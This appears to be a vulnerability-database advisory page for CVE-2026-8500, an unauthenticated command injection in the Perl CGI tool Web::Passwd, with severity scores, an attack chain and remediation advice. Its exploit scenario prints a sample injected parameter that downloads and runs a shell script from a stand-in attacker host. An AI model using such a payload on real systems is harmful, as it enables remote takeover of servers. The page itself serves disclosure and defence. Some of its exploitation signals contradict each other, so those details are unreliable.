Skip to main content

Web::Passwd EUVDEUVD-2026-30206

| CVE-2026-8500 CRITICAL
OS Command Injection (CWE-78)
2026-05-13 CPANSec GHSA-jrw9-jqqp-jcq9
9.8
CVSS 3.1 · Vendor: CPANSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Web::Passwd CGI endpoint
  2. Delivery
    Submit crafted HTTP request with command injection payload
  3. Exploit
    Trigger unsanitized parameter in htpasswd command execution
  4. Execution
    Execute arbitrary system commands as web server user
  5. Impact
    Establish persistence and escalate privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Web::Passwd CGI application to be deployed and accessible via HTTP/HTTPS on the target web server. No authentication is required (PR:N) and the vulnerability affects default configurations with no special features needing activation. The CGI script must be executable by the web server process and able to invoke the htpasswd system command. Standard web server configurations running Perl CGI meet these requirements. Limiting factors: the package has negligible modern deployment due to its 2004 abandonment; most organizations have migrated to maintained password management solutions. Organizations still running legacy Perl CGI stacks with this specific module remain vulnerable to remote unauthenticated command injection against default installations.

Impact

This vulnerability presents a stark contrast between theoretical severity and practical risk. CVSS 9.8 (Critical) reflects worst-case technical impact: network-accessible remote code execution requiring no authentication (AV:N/AC:L/PR:N/UI:N) with full system compromise potential (C:H/I:H/A:H). However, EPSS exploitation probability is extremely low (0.04%, 12th percentile), suggesting negligible observed attack activity. The package was last updated in 2004 and has minimal deployment footprint in modern environments-most organizations using htpasswd management have migrated to maintained solutions. The oss-security disclosure provides technical details enabling exploitation, but no CISA KEV listing indicates no widespread targeting. Real-world risk depends entirely on whether organizations still run this 20-year-old CGI application; for those that do, risk is genuinely critical due to trivial exploitation and web server privilege execution. For the broader ecosystem, this represents near-zero material risk given the obsolete technology stack (Perl CGI) and negligible installation base.

Exploit ScenarioDerived

An unauthenticated attacker identifies a publicly accessible Web::Passwd CGI endpoint through web reconnaissance. They submit a crafted HTTP request with a malicious user parameter containing shell metacharacters, such as 'testuser;wget http://attacker.com/shell.sh -O /tmp/shell.sh;bash /tmp/shell.sh'. The unsanitized parameter is passed directly to the htpasswd command execution, causing the injected commands to execute with web server privileges (typically www-data or apache). The attacker gains immediate code execution, establishes persistence, and pivots to internal network reconnaissance. Publicly available exploit code exists per oss-security disclosure, reducing exploitation complexity to script-kiddie level.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Remote code execution in Web::Passwd 0.03 and earlier allows unauthenticated network attackers to execute arbitrary system commands with web server privileges via command injection in the user parameter. The CVSS vector indicates network-accessible, low-complexity exploitation requiring no authentication or user interaction. EPSS score is low (0.04%, 12th percentile), suggesting limited real-world exploitation observed to date. No active exploitation confirmed by CISA KEV at time of analysis, though publicly available exploit code exists per oss-security disclosure.

RemediationAI

No vendor-released patch identified at time of analysis-Web::Passwd was last updated in 2004 and appears abandoned with no active maintainer. Organizations still using this package should immediately replace it with actively maintained alternatives such as modern web server authentication management tools, configuration management systems (Ansible, Puppet), or containerized authentication services. As an interim emergency control, restrict network access to the CGI script to trusted IP ranges only via web server configuration (Apache Allow/Deny directives or firewall rules), though this mitigation assumes internal network trust and does not eliminate the vulnerability. Alternatively, remove the CGI application entirely and manage htpasswd files through secure shell access with proper access controls. Organizations dependent on web-based htpasswd management should evaluate modern Apache/nginx authentication backends or migrate to centralized identity providers. Given the 20-year-old codebase and command injection attack surface, no workaround provides adequate security-full replacement is the only defensible long-term strategy.

Affected VersionsENISA

Web::Passwd 0 ≤0.03

Affected Packages

euvd web_passwd no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Web::Passwd is a legacy Perl CGI application for managing Apache htpasswd authentication files through a web interface, wrapping the htpasswd command-line utility. The vulnerability stems from CWE-78 (OS Command Injection) where user-supplied input via the user parameter is passed unsanitized directly to the command line as the final argument to htpasswd. Because Perl's system() or backtick operators can interpret shell metacharacters, an attacker can inject additional commands using shell operators like semicolons, pipes, or backticks. The affected product CPE (cpe:2.3:a:evank:web::passwd:*:*:*:*:*:*:*:*) covers all versions through 0.03, the last release from 2004, indicating this is an unmaintained legacy package.

Know when Web gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CPANSec) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (CPANSec) · only source for this CVE.

CVSS VectorVendor: CPANSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
May 14, 2026 - 18:22 NVD
9.8 (CRITICAL)
CVE Published
May 13, 2026 - 22:24 nvd
CRITICAL 9.8
CVE Published
May 13, 2026 - 22:24 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.

Web::Passwd is a small CGI application for managing htpasswd files using the htpasswd command.

The user parameter is not validated or escaped, and is used as the last argument on the command line, allowing for command injection.

Executive ViewAI

Why It Matters

Web::Passwd versions 0.03 and earlier contain a critical unauthenticated remote code execution vulnerability (CVSS 9.8) allowing attackers to execute arbitrary commands with web server privileges through command injection. Organizations running affected versions face immediate risk of full application compromise and lateral movement into backend systems, despite current low real-world exploitation rates.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or remove Web::Passwd module if not operationally critical; (2) Implement strict input validation and sanitization on the user parameter with blocklisting of shell metacharacters (|;&`$()\); (3) Run web server process under minimal-privilege account with no shell access; (4) Deploy WAF rules blocking command injection patterns; (5) Restrict network access to Web::Passwd via firewall rules and authentication proxies.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy